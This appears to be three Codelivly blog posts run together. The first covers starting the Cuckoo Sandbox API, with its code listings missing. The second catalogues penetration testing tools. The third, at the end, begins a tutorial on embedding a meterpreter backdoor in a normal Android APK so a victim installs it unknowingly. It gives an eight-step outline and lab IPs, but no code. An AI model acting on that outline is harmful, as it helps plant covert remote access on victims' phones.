    Cuckoo Sandbox is an open-source project that allows you to run malware samples on safe virtual machines, and then analyze and report on how the malware behaved in the virtual sandbox without the threat of the malware infecting your real machine. The application is written in Python, and Cuckoo Sandbox also offers a REST API . This allows a programmer using any language to fully automate many of Cuckoo’s features, such as running sandboxes, running malware, and receiving reports. In this section, we’ll do all of this using easy-to-use C# libraries and classes. However, there’s a lot of work to do, such as setting up a virtual environment to use Cuckoo , before we can start testing and running malware samples using C#. You can find more information and download Cuckoo Sandbox at https://www.cuckoosandbox.org/.


    Setting up the Cuckoo Sandbox

    In this section, we will not cover setting up Cuckoo Sandbox as the instructions can vary greatly between operating systems and depending on which version of Windows you use as your VM sandbox. This section assumes that you have properly set up Cuckoo Sandbox with a Windows guest and that Cuckoo is fully functional. Be sure to follow the instructions on the main Cuckoo Sandbox website (https://cuckoo.readthedocs.io/en/latest/) for up-to-date and detailed documentation on installing and configuring the software.
    In the conf/cuckoo.conf file that comes with Cuckoo Sandbox , I recommend changing the default timeout configuration to be shorter (I set it to 15 seconds) before you start working with the API . This will make testing easier and faster. In your cuckoo.conf file, you will see a section at the bottom that looks like the listing below.

    The default timeout configuration section in cuckoo .conf

    The default timeout for Cuckoo testing is set to 120 seconds [1] . A large timeout may make you impatient to see if you have fixed the problem while debugging since you will have to wait for the timeout to expire before the report is ready, but setting this value between 15 and 30 seconds should be useful for our target system.


    Launching the Cuckoo Sandbox API manually.

    Like Nessus, Cuckoo Sandbox uses the REST pattern (if you need a refresher, see the description of REST in section 5). However, the Cuckoo Sandbox API is much simpler than the Nessus API, as we only need to interact with a couple of API endpoints. To do this, we will continue to use the session/manager pattern and first implement the CuckooSession class, which defines how we will interact with the Cuckoo Sandbox API. However, let’s check that you have configured Cuckoo Sandbox correctly before we start writing code.


    Launching API

    Once Cuckoo Sandbox is installed, you can run it locally using the ./cuckoo.py command, as shown in the listing below. If you get an error message, make sure the virtual machine you are using for testing is running.

    A successful startup of Cuckoo should result in a fun ASCII art banner appearing, followed by some quick information lines about how many VMs have been booted. Once the main script has started, Cuckoo needs to start the API that we will be talking to. Both of these Python scripts need to be running at the same time! The cuckoo.py Python script is the engine of Cuckoo Sandbox . If we run the api.py script without running the cuckoo.py script, as shown in the listing below, our API requests will do nothing. In order for us to use Cuckoo Sandbox from the API , both cuckoo.py and api.py need to be running . By default, the Cuckoo Sandbox API listens on port 8090 , as shown in the listing below.

    Running the HTTP API for Cuckoo Sandbox

    To specify the IP address to listen on (the default is localhost ), you can pass the -H argument to the utils/api.py script , which tells the API the IP address to use when listening for API requests . In this case, we’ve set 0.0.0.0 as the listening IP , which means all network interfaces (both internal and external system IPs ) will have port 8090 available for communication, since we’re using the default port. The URL that the Cuckoo API is listening on is also printed to the screen after startup. This URL allows us to interact with the API to manage Cuckoo Sandbox in the rest of this section.


    Checking Cuckoo’s Status

    We can test the API to make sure it’s set up correctly using the Curl command-line tool , just as we did in previous sections for other APIs . Later in this section, we make similar API requests to create a task, watch it run until it completes, and create a file report to see how it behaved when it ran. But first, the listing below shows how to use Curl to retrieve Cuckoo Sandbox state information in JSON format using the HTTP API .

    Using curl to retrieve the Cuckoo Sandbox status via the HTTP API

    The status information is quite useful and details many aspects of the Cuckoo Sandbox system. Of note is the aggregated task information [2] , which includes the number of tasks that Cuckoo has started or is running , along with their status. A task could be parsing a running file or opening a web page with a URL , although in this section we’ll only look at submitting a file for analysis. You can also see the number of VMs available for analysis [1] , and the current version of Cuckoo [3] .
    Great, the API is up and running! We’ll use this same status API endpoint later to test our code as we write it, and to discuss the JSON it returns in more detail . For now, we just need to confirm that the API is up and running.

    That’s all. Have a nice day, everyone!

    ❤️ If you liked the article, like and subscribe to my channel Codelivly”.

    👍 If you have any questions or if I would like to discuss the described hacking tools in more detail, then write in the comments. Your opinion is very important to me!

  • Complete list of penetration testing and hacking tools

    Complete list of penetration testing and hacking tools

    Penetration testing, also known as pen testing, is an integral constituent of cybersecurity. It involves studying the systems, networks, and applications for vulnerabilities. Essentially, it requires security professionals to run a wide array of tools that are designed to test varied facets of the security stance that a system has.

    For instance, tools like Nmap and Wireshark are essential for network scanning and data analysis, helping experts understand how information flows through a network. Metasploit is another powerful tool that allows users to create, test, and execute attack code against remote targets, which is great for identifying weaknesses.

    When it comes to web security, tools like Burp Suite and OWASP ZAP are popular choices. They provide in-depth analysis of web applications to uncover security holes. For wireless networks, tools like Aircrack-ng can test the security of Wi-Fi systems.

    Automated vulnerability scanners such as OpenVAS and Nessus can check for security issues across various platforms. If you’re concerned about social engineering attacks, the Social-Engineer Toolkit (SET) allows you to simulate phishing attacks. Mobile app security isn’t left out either—tools like Drozer and Frida help assess the security of Android and iOS applications.

    Applied properly and responsibly, the following tools provide a well-rounded way of testing and improving an organization’s security posture against a set of threats occurring in different areas. Always remember to verify that you have gained permission to conduct any security testing.

    Penetration testing tools are a dime a dozen in the security industry for vulnerability detection either in a network or application. Here is the list that ranges from tools in respective areas of their application. They can be used across different environments to fortify security.

    Network Scanning Tools

    Network scanning is a fundamental step in penetration testing. It helps security professionals identify active devices, open ports, and potential vulnerabilities within a network. Here are some of the top network scanning tools:

    Nmap

    Nmap (Network Mapper) is a powerful and versatile network scanning tool used to discover hosts and services on a computer network. It provides detailed information about network topology, operating systems, and services. Nmap can perform various types of scans, including TCP, UDP, SYN, and ACK scans.

    Key Features:

    • Host discovery
    • Port scanning
    • Service and version detection
    • OS detection
    • Scriptable interaction with the target

    Get the exclusive guide on Nmap with 20% off – Get the deal now

    Angry IP Scanner

    Angry IP Scanner is a fast and easy-to-use network scanning tool. It pings IP addresses and resolves hostnames, gathers information about open ports, and fetches NetBIOS information. It’s lightweight and doesn’t require installation, making it ideal for quick network assessments.

    Key Features:

    • Scans IP addresses and ports
    • Exports results in multiple formats (CSV, TXT, XML, etc.)
    • Extensible with plugins
    • No installation required

    OpenVAS

    OpenVAS (Open Vulnerability Assessment System) is an open-source vulnerability scanner and management tool. It’s comprehensive and can perform authenticated and unauthenticated scanning, covering a wide range of network protocols. OpenVAS is highly configurable and suitable for large-scale network assessments.

    Key Features:

    • Extensive vulnerability database
    • Authenticated and unauthenticated scanning
    • Wide range of network protocol support
    • Detailed reporting and analysis

    How to Choose the Right Network Scanning Tool

    Choosing the right network scanning tool depends on your specific needs and the scale of your network. Here are a few tips to help you decide:

    1. Purpose: Determine what you need the tool for—basic network discovery, detailed port scanning, or vulnerability assessment.
    2. Ease of Use: Consider how user-friendly the tool is, especially if you’re new to network scanning.
    3. Features: Look at the features offered by the tool and match them with your requirements.
    4. Performance: Evaluate the tool’s performance and how it handles large networks.
    5. Community and Support: Check if the tool has a strong user community and available support resources.

    Vulnerability Assessment Tools

    Vulnerability assessment tools are critical in identifying, classifying, and addressing security weaknesses within systems, networks, and applications. Here are some of the leading tools used in vulnerability assessment:

    Nessus

    Nessus is one of the most widely used vulnerability scanners in the world. Developed by Tenable, Nessus can scan for a wide range of vulnerabilities across various systems and applications. It’s known for its comprehensive plugin database and ease of use.

    Key Features:

    • Extensive plugin library for various vulnerabilities
    • Configuration audits
    • Compliance checks
    • Easy-to-read reports
    • Integration with other security tools

    OpenVAS

    OpenVAS (Open Vulnerability Assessment System) is an open-source framework for vulnerability scanning and management. It includes a scanner that can detect security issues in various network services and operating systems.

    Key Features:

    • Comprehensive vulnerability database
    • Regular updates and community support
    • Authenticated and unauthenticated scanning
    • Detailed reporting and analysis
    • Highly configurable scan options

    Nexpose

    Nexpose by Rapid7 is a robust vulnerability management tool that provides real-time data and analytics to identify and mitigate security risks. It integrates seamlessly with other Rapid7 products like Metasploit for a more comprehensive security solution.

    Key Features:

    • Real-time vulnerability updates
    • Risk scoring and prioritization
    • Integration with Metasploit for exploit testing
    • Dynamic asset discovery
    • Detailed and customizable reports

    QualysGuard

    QualysGuard is a cloud-based vulnerability management solution that offers a wide range of security and compliance services. It’s known for its scalability and ability to handle large, distributed networks.

    Key Features:

    • Cloud-based solution with easy deployment
    • Continuous monitoring and scanning
    • Comprehensive compliance management
    • Detailed vulnerability assessments and reports
    • Integration with various IT and security tools

    Acunetix

    Acunetix specializes in web application security, offering automated scanning and manual testing capabilities. It can detect a wide range of web vulnerabilities, including SQL injection, XSS, and other OWASP Top 10 threats.

    Key Features:

    • Comprehensive web vulnerability scanning
    • SQL injection and XSS detection
    • Integrated vulnerability management
    • Detailed scan reports and remediation guidance
    • Continuous scanning and monitoring

    How to Choose the Right Vulnerability Assessment Tool

    Selecting the right vulnerability assessment tool involves considering various factors to ensure it meets your specific needs:

    1. Scope of Use: Determine whether you need the tool for web applications, networks, or both.
    2. Ease of Use: Consider the user interface and ease of deployment, especially if you’re new to vulnerability assessment.
    3. Features and Capabilities: Match the tool’s features with your security requirements.
    4. Performance: Evaluate how well the tool handles large-scale assessments and continuous monitoring.
    5. Support and Community: Look for tools with strong support networks and active user communities.
    6. Cost: Consider the tool’s cost and whether it fits within your budget( most of them are free too).

    Exploitation Tools

    Exploitation tools are essential in penetration testing as they help security professionals identify and exploit vulnerabilities in systems, networks, and applications. These tools allow testers to simulate attacks to uncover security weaknesses. Here are some of the most widely used exploitation tools:

    Metasploit

    Metasploit is one of the most popular and powerful exploitation frameworks. Developed by Rapid7, Metasploit provides a comprehensive platform for developing, testing, and executing exploits against remote targets. It includes a vast library of exploits and payloads, making it a go-to tool for penetration testers.

    Key Features:

    • Extensive exploit and payload library
    • Integration with Nexpose for vulnerability scanning
    • Automated and manual exploitation
    • Post-exploitation modules
    • User-friendly GUI (Metasploit Community) and command-line interface (Metasploit Pro)

    ExploitDB

    ExploitDB (Exploit Database) is a repository of publicly disclosed exploits and proof-of-concepts (PoCs). Managed by Offensive Security, ExploitDB serves as a valuable resource for penetration testers looking for exploits and security tools.

    Key Features:

    • Large database of publicly available exploits
    • Regular updates with new exploits and PoCs
    • Searchable database with various filters
    • Integration with searchsploit for local usage

    BeEF (Browser Exploitation Framework)

    BeEF focuses on exploiting vulnerabilities in web browsers. It allows penetration testers to hook web browsers and perform client-side attacks. BeEF is particularly useful for demonstrating the risks associated with browser vulnerabilities.

    Key Features:

    • Browser hooking and exploitation
    • Extensive library of browser exploits
    • Integration with other penetration testing tools
    • Real-time command and control interface
    • Customizable modules and scripts

    SQLmap

    SQLmap is an open-source tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It supports a wide range of databases and can perform various types of SQL injection attacks.

    Key Features:

    • Automatic detection and exploitation of SQL injection vulnerabilities
    • Support for multiple database management systems (DBMS)
    • Database fingerprinting and data extraction
    • Customizable payloads and attack techniques
    • Integration with other tools and frameworks

    Canvas

    Canvas by Immunity is a commercial penetration testing tool that provides a comprehensive framework for exploiting vulnerabilities. It includes hundreds of exploits and payloads, allowing testers to assess and exploit security weaknesses in various systems.

    Key Features:

    • Extensive library of exploits and payloads
    • Automated and manual exploitation
    • Post-exploitation tools and modules
    • Regular updates with new exploits
    • User-friendly interface

    How to Choose the Right Exploitation Tool

    Choosing the right exploitation tool depends on your specific needs and the scope of your penetration testing project. Here are a few tips to help you decide:

    1. Scope of Testing: Determine whether you need the tool for web applications, networks, databases, or a combination.
    2. Ease of Use: Consider the user interface and ease of deployment, especially if you’re new to exploitation tools.
    3. Features and Capabilities: Match the tool’s features with your testing requirements.
    4. Integration: Look for tools that integrate well with other security tools and frameworks you use.
    5. Support and Community: Check if the tool has a strong support network and active user community.

    Password Cracking Tools

    Password cracking tools are essential in penetration testing and cybersecurity audits. They help security professionals test the strength of passwords by attempting to crack them using various methods. Here are some of the most widely used password-cracking tools:

    John the Ripper

    John the Ripper is a popular open-source password-cracking tool. It’s designed to detect weak passwords in various environments. John the Ripper supports numerous hashing algorithms and is highly customizable.

    Key Features:

    • Supports various hash types (MD5, SHA, DES, etc.)
    • Customizable with configuration files
    • Supports wordlist and brute-force attacks
    • Available for multiple platforms (Windows, Linux, macOS)
    • Extendable with additional modules

    Hashcat

    Hashcat is known as the world’s fastest and most advanced password recovery tool. It supports various attack modes for efficient and flexible password cracking. Hashcat can utilize the power of GPUs to speed up the cracking process significantly.

    Key Features:

    • Supports a wide range of hash types
    • Utilizes GPU acceleration for faster cracking
    • Supports dictionary, brute-force, and hybrid attacks
    • Cross-platform support (Windows, Linux, macOS)
    • Advanced rule-based attack configurations

    Hydra

    Hydra is a powerful password-cracking tool that supports numerous protocols, making it versatile for different types of password attacks. It’s commonly used for brute-force attacks against login forms, FTP, SSH, and other services.

    Key Features:

    • Supports a wide range of network protocols (FTP, SSH, HTTP, etc.)
    • Fast and efficient brute-force attacks
    • Parallelized attack capability
    • Flexible and customizable
    • Available for multiple platforms

    Aircrack-ng

    Aircrack-ng is a comprehensive suite for auditing wireless networks. It includes tools for capturing packets and performing brute-force attacks to crack WEP and WPA/WPA2-PSK keys. It’s widely used for testing the security of Wi-Fi networks.

    Key Features:

    • Packet capturing and injection
    • WEP and WPA/WPA2-PSK key cracking
    • Detailed statistical analysis
    • Compatible with various wireless network adapters
    • Cross-platform support (Windows, Linux, macOS)

    Cain & Abel

    Cain & Abel is a Windows-based password recovery tool that can recover many types of passwords using various methods such as network packet sniffing, cracking encrypted passwords using dictionary and brute-force attacks, and cryptanalysis attacks.

    Key Features:

    • Network packet sniffing
    • Dictionary, brute-force, and cryptanalysis attacks
    • Password recovery from various protocols (FTP, HTTP, IMAP, etc.)
    • Decoding scrambled passwords
    • Detailed reporting and analysis

    How to Choose the Right Password Cracking Tool

    Selecting the right password-cracking tool involves considering several factors to ensure it meets your specific needs:

    1. Type of Hash/Password: Determine the type of password or hash you need to crack.
    2. Attack Methods: Consider the attack methods supported by the tool (dictionary, brute-force, hybrid, etc.).
    3. Speed and Performance: Evaluate the tool’s performance, especially if you need to crack passwords quickly.
    4. Platform Compatibility: Ensure the tool is compatible with your operating system.
    5. Ease of Use: Consider how user-friendly the tool is, especially if you’re new to password cracking.
    6. Support and Community: Look for tools with active user communities and available support resources.

    Wireless Hacking Tools

    Wireless hacking tools are crucial for testing the security of wireless networks. They help security professionals assess the strengths and vulnerabilities of Wi-Fi networks by performing tasks such as packet sniffing, network scanning, and password cracking. Here are some of the most widely used wireless hacking tools:

    Aircrack-ng

    Aircrack-ng is a comprehensive suite of tools designed for auditing wireless networks. It includes utilities for capturing packets, monitoring network traffic, and cracking WEP and WPA/WPA2-PSK keys.

    Key Features:

    • Packet capture and injection
    • WEP and WPA/WPA2-PSK key cracking
    • Real-time packet analysis
    • Support for various wireless network adapters
    • Cross-platform compatibility (Windows, Linux, macOS)

    Kismet

    Kismet is a powerful wireless network detector, sniffer, and intrusion detection system. It works with Wi-Fi, Bluetooth, and other wireless networks, providing detailed information about nearby networks and devices.

    Key Features:

    • Passive network detection
    • Real-time monitoring and analysis
    • Supports multiple wireless interfaces
    • Integrates with GPS for mapping detected networks
    • Cross-platform compatibility (Windows, Linux, macOS)

    Reaver

    Reaver is a tool specifically designed for brute-force attacks against Wi-Fi Protected Setup (WPS) PINs to recover WPA/WPA2 passphrases. It’s highly effective for networks with WPS enabled.

    Key Features:

    • WPS PIN brute-force attack
    • Can recover WPA/WPA2 passphrases
    • Easy to use with simple command-line interface
    • Works with most wireless network adapters
    • Cross-platform compatibility (Windows, Linux)

    Wireshark

    Wireshark is a popular network protocol analyzer that allows for deep inspection of hundreds of protocols. While not exclusively a wireless tool, it’s widely used for analyzing traffic on wireless networks.

    Key Features:

    • Detailed packet analysis
    • Real-time network monitoring
    • Support for hundreds of protocols
    • Rich filtering and search capabilities
    • Cross-platform compatibility (Windows, Linux, macOS)

    Fern WiFi Cracker

    Fern WiFi Cracker is a tool for wireless security auditing and network penetration testing. It’s user-friendly and comes with a graphical interface, making it accessible for beginners.

    Key Features:

    • Network scanning and monitoring
    • WEP, WPA/WPA2-PSK key cracking
    • Automatic attack methods
    • User-friendly graphical interface
    • Available for Linux

    How to Choose the Right Wireless Hacking Tool

    Choosing the right wireless hacking tool depends on your specific needs and the scope of your wireless security testing. Here are a few tips to help you decide:

    1. Purpose: Determine what you need the tool for—network scanning, packet sniffing, key cracking, or intrusion detection.
    2. Ease of Use: Consider how user-friendly the tool is, especially if you’re new to wireless hacking.
    3. Features and Capabilities: Match the tool’s features with your requirements.
    4. Compatibility: Ensure the tool is compatible with your operating system and wireless adapters.
    5. Performance: Evaluate the tool’s performance and how well it handles large networks.
    6. Support and Community: Check if the tool has a strong user community and available support resources.

    Web Application Testing Tools

    Web application testing tools are essential for assessing the security of web applications. They help security professionals identify vulnerabilities such as SQL injection, cross-site scripting (XSS), and other common web application threats. Here are some of the most widely used web application testing tools:

    Burp Suite

    Burp Suite is a comprehensive web application security testing tool developed by PortSwigger. It includes various tools for scanning, analyzing, and exploiting web application vulnerabilities. Burp Suite is highly customizable and widely used by penetration testers.

    Key Features:

    • Interactive web vulnerability scanner
    • Intruder tool for automating customized attacks
    • Repeater tool for testing and modifying requests
    • Extensive plugin support via Burp Suite’s BApp Store
    • Professional and Community editions available

    OWASP ZAP (Zed Attack Proxy)

    OWASP ZAP is an open-source web application security scanner maintained by the Open Web Application Security Project (OWASP). It’s designed to find vulnerabilities in web applications and is suitable for both beginners and experienced testers.

    Key Features:

    • Automated and manual vulnerability scanning
    • Passive and active scanning modes
    • A comprehensive set of tools for testing and attacking web applications
    • Easy integration with CI/CD pipelines
    • Extensive community support and documentation

    Nikto

    Nikto is an open-source web server scanner that performs comprehensive tests against web servers for multiple items, including over 6,700 potentially dangerous files and programs. It’s a straightforward tool that is effective for basic web vulnerability scanning.

    Key Features:

    • Checks for outdated server software
    • Detects default files and configurations
    • Identifies potential server misconfigurations
    • Supports SSL and full HTTP proxy
    • Can output results in multiple formats (HTML, XML, CSV)

    Acunetix

    Acunetix is a commercial web vulnerability scanner that offers both automated and manual testing capabilities. It’s known for its detailed reports and the ability to scan complex web applications.

    Key Features:

    • Comprehensive web application scanning
    • SQL injection and XSS detection
    • Integrated vulnerability management
    • Continuous scanning and monitoring
    • Detailed and customizable reports

    Netsparker

    Netsparker is another commercial web application security scanner that uses a unique proof-based scanning technology to automatically verify vulnerabilities, ensuring there are no false positives. It’s suitable for large-scale web application security testing.

    Key Features:

    • Automated detection and verification of vulnerabilities
    • Proof-based scanning to eliminate false positives
    • Integration with CI/CD tools for automated testing
    • Detailed vulnerability reports with remediation guidance
    • Supports both cloud and on-premises deployment

    How to Choose the Right Web Application Testing Tool

    Selecting the right web application testing tool involves considering various factors to ensure it meets your specific needs:

    1. Scope of Testing: Determine whether you need the tool for automated scanning, manual testing, or both.
    2. Ease of Use: Consider the user interface and ease of deployment, especially if you’re new to web application testing.
    3. Features and Capabilities: Match the tool’s features with your testing requirements.
    4. Integration: Look for tools that integrate well with other security tools and CI/CD pipelines.
    5. Performance: Evaluate the tool’s performance, especially how it handles large and complex web applications.
    6. Support and Community: Check if the tool has a strong support network and active user community.
    7. Cost: Consider the tool’s cost and whether it fits within your budget.

    Social Engineering Tools

    Social engineering tools are designed explicitly to test a security organization’s human element. This tool helps security people in imitating phishing attacks, gathering data, and exploiting the human factor for vulnerability identification and mitigation. Herein are some of the most used tools in social engineering:

    Social-Engineer Toolkit (SET)

    SET is an open-source tool specifically designed for social engineering attacks. Developed by TrustedSec, SET is highly customizable and supports a wide range of attack vectors, making it a go-to tool for penetration testers and security professionals.

    Key Features:

    • Phishing attack vectors
    • Website attack vectors
    • PowerShell attack vectors
    • Customizable payloads and attack options
    • Integration with Metasploit

    Maltego

    Maltego is a powerful open-source intelligence (OSINT) and graphical link analysis tool. It helps security professionals gather and visualize information from various sources to map relationships and uncover potential vulnerabilities.

    Key Features:

    • Extensive data gathering capabilities
    • Graphical link analysis and visualization
    • Integration with various data sources and APIs
    • Customizable transforms for specific data types
    • Collaboration features for team analysis

    King Phisher

    King Phisher is a phishing campaign toolkit designed to simulate real-world phishing attacks. It allows security professionals to create and manage phishing campaigns to assess and improve an organization’s resilience to phishing.

    Key Features:

    • Phishing campaign management
    • Customizable phishing templates
    • Detailed campaign metrics and reporting
    • Real-time email tracking and statistics
    • User-friendly interface

    Gophish

    Gophish is an open-source phishing framework that enables security professionals to easily create, launch, and manage phishing campaigns. It’s designed to be user-friendly and provides detailed analytics to measure the success of campaigns.

    Key Features:

    • Simple and intuitive user interface
    • Customizable email templates and landing pages
    • Real-time campaign tracking and analytics
    • API for automation and integration
    • Cross-platform support (Windows, Linux, macOS)

    Recon-ng

    Recon-ng is a powerful web reconnaissance framework written in Python. It provides a modular environment for gathering information from various sources, making it a valuable tool for the reconnaissance phase of social engineering attacks.

    Key Features:

    • Modular design with a wide range of modules
    • Automated data collection from multiple sources
    • Data analysis and reporting capabilities
    • Integration with other reconnaissance tools
    • User-friendly command-line interface

    How to Choose the Right Social Engineering Tool

    Selecting the right social engineering tool involves considering various factors to ensure it meets your specific needs:

    1. Scope of Use: Determine whether you need the tool for phishing simulations, reconnaissance, or both.
    2. Ease of Use: Consider the user interface and ease of deployment, especially if you’re new to social engineering tools.
    3. Features and Capabilities: Match the tool’s features with your social engineering requirements.
    4. Integration: Look for tools that integrate well with other security tools and frameworks you use.
    5. Performance: Evaluate the tool’s performance and how well it handles large-scale campaigns or data analysis.
    6. Support and Community: Check if the tool has a strong support network and active user community.

    Forensics Tools

    Digital forensics tools are solutions used to help security professionals in collecting, analyzing, and preserving evidence from digital devices during a digital investigation process. These constitute very fundamental tools in the course of establishing security incidents, data breaches, and other cybercrimes. Here are some of the most used digital forensics tools:

    Autopsy

    Autopsy is an open-source digital forensics platform that provides a graphical interface to The Sleuth Kit (TSK) and other digital forensics tools. It’s designed for ease of use and is suitable for both novice and experienced investigators.

    Key Features:

    • Timeline analysis
    • Keyword search
    • File type detection
    • Hash filtering
    • Automated reporting

    FTK (Forensic Toolkit)

    FTK by AccessData is a comprehensive digital forensics software that provides a wide range of features for analyzing digital evidence. FTK is known for its powerful processing capabilities and integrated database.

    Key Features:

    • Full-disk forensic analysis
    • Data carving
    • Email analysis
    • Registry analysis
    • Advanced visualization and reporting

    EnCase

    EnCase by OpenText is one of the most recognized digital forensics tools used for investigating and analyzing digital data. It provides robust capabilities for data collection, analysis, and reporting.

    Key Features:

    • Disk imaging and cloning
    • Comprehensive file analysis
    • Email and chat analysis
    • Timeline analysis
    • Court-accepted reporting

    Sleuth Kit (TSK)

    The Sleuth Kit is a collection of command-line tools that allows for the investigation of disk images. TSK is often used in conjunction with Autopsy for a complete forensic analysis solution.

    Key Features:

    • File system analysis
    • Disk image analysis
    • Hash set filtering
    • Metadata extraction
    • Command-line interface

    X-Ways Forensics

    X-Ways Forensics is a powerful and efficient digital forensics software that provides a wide range of features for data recovery and analysis. It is known for its speed and accuracy.

    Key Features:

    • Disk imaging and cloning
    • Data carving and recovery
    • Comprehensive file system support
    • Email analysis
    • Detailed reporting

    How to Choose the Right Forensics Tool

    Selecting the right forensics tool involves considering various factors to ensure it meets your specific needs:

    1. Scope of Investigation: Determine whether you need the tool for disk imaging, file analysis, network forensics, or all of the above.
    2. Ease of Use: Consider the user interface and ease of deployment, especially if you’re new to digital forensics.
    3. Features and Capabilities: Match the tool’s features with your investigative requirements.
    4. Integration: Look for tools that integrate well with other forensics tools and frameworks you use.
    5. Performance: Evaluate the tool’s performance, especially how well it handles large datasets and complex analyses.
    6. Support and Community: Check if the tool has a strong support network and active user community.

    Reverse Engineering Tools

    Below is a list of Reverse Engineering Tools for the analysis of software, binaries, and systems into their structure, functionality, and behavior, allowing security professionals to identify vulnerabilities, malware, as well as understanding proprietary software:

    IDA Pro

    IDA Pro (Interactive Disassembler) by Hex-Rays is a powerful disassembler and debugger used for analyzing binary files. It’s widely regarded as one of the best tools for reverse engineering, providing detailed insights into the assembly code of executable files.

    Key Features:

    • Advanced disassembly capabilities
    • Interactive and scriptable environment
    • Graphical representation of code
    • Plugin support for extended functionality
    • Debugging capabilities for various platforms

    Ghidra

    Ghidra is an open-source reverse engineering tool developed by the National Security Agency (NSA). It offers a comprehensive suite of features for analyzing binary files, similar to IDA Pro, and has gained popularity for its powerful capabilities and free availability.

    Key Features:

    • Interactive disassembler
    • Powerful decompiler
    • Support for various processor architectures
    • Collaborative analysis features
    • Extensible with user-written scripts and plugins

    OllyDbg

    OllyDbg is a popular 32-bit assembler-level debugger for Windows. It’s known for its user-friendly interface and powerful debugging capabilities, making it a favorite among reverse engineers for analyzing Windows executables.

    Key Features:

    • Intuitive and easy-to-use interface
    • Dynamic analysis with real-time code execution
    • Support for multi-threaded applications
    • Advanced code analysis features
    • Plugin support for extended functionality

    Radare2

    Radare2 is an open-source framework for reverse engineering and analyzing binaries. It includes a collection of utilities for disassembly, debugging, and binary manipulation, providing a comprehensive environment for reverse engineering tasks.

    Key Features:

    • Command-line interface with extensive functionality
    • Support for various file formats and architectures
    • Hexadecimal editor and binary analysis tools
    • Scriptable with support for multiple scripting languages
    • Active development and community support

    Binary Ninja

    Binary Ninja is a reverse engineering platform that provides an interactive disassembler and decompiler with a focus on usability and automation. It’s known for its modern interface and powerful analysis capabilities.

    Key Features:

    • User-friendly graphical interface
    • Interactive disassembly and decompilation
    • Scripting support with Python and other languages
    • API for custom analysis and automation
    • Cross-platform support (Windows, macOS, Linux)

    How to Choose the Right Reverse Engineering Tool

    Selecting the right reverse engineering tool involves considering various factors to ensure it meets your specific needs:

    1. Scope of Analysis: Determine whether you need the tool for disassembly, debugging, decompilation, or a combination of these tasks.
    2. Ease of Use: Consider the user interface and ease of deployment, especially if you’re new to reverse engineering.
    3. Features and Capabilities: Match the tool’s features with your reverse engineering requirements.
    4. Integration: Look for tools that integrate well with other analysis tools and frameworks you use.
    5. Performance: Evaluate the tool’s performance, especially how well it handles large binaries and complex analyses.
    6. Support and Community: Check if the tool has a strong support network and active user community.

    Miscellaneous Tools

    Miscellaneous tools are a vast and deployable set of utilities that complement the core penetration testing and security assessment tools. They provide complementary capabilities in the areas of network monitoring, packet capture, file transfer, and so many other processes worthy of mention. Here are some of the most useful miscellaneous tools in the realm of security:

    Wireshark

    Wireshark is a widely-used network protocol analyzer that allows for deep inspection of hundreds of protocols. It’s an essential tool for network troubleshooting, analysis, and security auditing.

    Key Features:

    • Detailed packet analysis
    • Real-time network monitoring
    • Support for hundreds of protocols
    • Rich filtering and search capabilities
    • Cross-platform compatibility (Windows, Linux, macOS)

    Netcat

    Netcat is a versatile networking utility that can read and write data across network connections using the TCP/IP protocol. It’s often referred to as the “Swiss army knife” for network debugging and investigation.

    Key Features:

    • Port scanning
    • Data transfer
    • Banner grabbing
    • Simple chat server/client
    • Cross-platform support

    Fiddler

    Fiddler is a web debugging proxy tool that captures HTTP and HTTPS traffic between your computer and the internet. It’s invaluable for analyzing and debugging web applications.

    Key Features:

    • HTTP/HTTPS traffic capture and analysis
    • Web session manipulation
    • Performance testing
    • Security testing
    • Cross-platform compatibility (Windows, macOS, Linux with Mono)

    Tcpdump

    Tcpdump is a command-line packet analyzer that allows users to capture and display packets being transmitted or received over a network. It’s a powerful tool for network traffic analysis and troubleshooting.

    Key Features:

    • Packet capturing and filtering
    • Real-time traffic monitoring
    • Supports various protocols
    • Scriptable with shell scripts
    • Available on most Unix-like operating systems

    Sysinternals Suite

    Sysinternals Suite is a collection of utilities from Microsoft that provide advanced system monitoring, diagnostic, and troubleshooting capabilities for Windows systems.

    Key Features:

    • Process Explorer for detailed process analysis
    • Autoruns for managing startup programs
    • TCPView for monitoring network connections
    • Procmon for real-time file system, registry, and process/thread activity
    • Regular updates and extensive documentation

    Ncat

    Ncat, a feature-packed networking utility from the Nmap project, enhances Netcat’s capabilities with modern features. It supports IPv6, SSL, proxy connections, and more.

    Key Features:

    • Port scanning and data transfer
    • Secure communication with SSL
    • Proxy support
    • Advanced scripting and automation capabilities
    • Cross-platform support

    How to Choose the Right Miscellaneous Tool

    Selecting the right miscellaneous tool involves considering your specific needs and the functionality required for your security tasks:

    1. Purpose: Determine the primary use case for the tool—network analysis, file transfer, web debugging, etc.
    2. Ease of Use: Consider the user interface and ease of deployment, especially if you’re new to the tool.
    3. Features and Capabilities: Match the tool’s features with your requirements.
    4. Integration: Look for tools that integrate well with your existing security toolset and workflows.
    5. Performance: Evaluate the tool’s performance, particularly in handling large datasets or high network traffic.
    6. Support and Community: Check if the tool has a strong support network and active user community.

    That’s all. Have a nice day, everyone!

    ❤️ If you liked the article, like and subscribe to my channel Codelivly”.

    👍 If you have any questions or if I would like to discuss the described hacking tools in more detail, then write in the comments. Your opinion is very important to me!

  • Creating an embedded backdoor that runs when the app is run (manually)

    Creating an embedded backdoor that runs when the app is run (manually)

    This article is all about planting a backdoor on an Android device, manually. While there are automated tools like AndroRat or Spade, we’re going to show you how to create a backdoor APK by hand.

    The goal here is to get the backdoor APK installed on the victim’s device without them knowing. Naturally, the victim isn’t going to install an APK that doesn’t seem useful. So, the trick is to embed the backdoor in a regular, functional APK that the victim wants to install.

    Imagine you’re guiding someone to install a regular app. That’s the approach you need to take.

    In today’s exercise, we’ll walk through how an attacker can maliciously plant a backdoor in an APK. When the victim installs this APK and runs the app, a meterpreter session is established on the attacker’s PC through a reverse connection.

    Remember, the victim must run the app for this to work.

    Let’s dive in and get started!

    The practice proceeds through the steps below.

    Step 1. Create Payload APK file (using msfvenom)

    Step 2. Download normal  APK  file

    Step 3. Decompiling APK (Both Payload APK & Normal APK)

    Step 4. Copy payload (from Payload directory to normal APK directory…)

    Step 5. Register hooking (in the onCreate smali code of the activity used as LAUNCHER in the normal APK…)

    Step 6. Add permissions to Manifest.xml file of normal APK

    Step 7. APK recompilation

    Step 8. Keysigning


    1. Hands-On


    The practice environment is as follows.

     divisionAttacker Victim 
     IP address192.168.0.64 192.168.0.14 
     OSKali Linux 2016.1 Android 4.4.2 
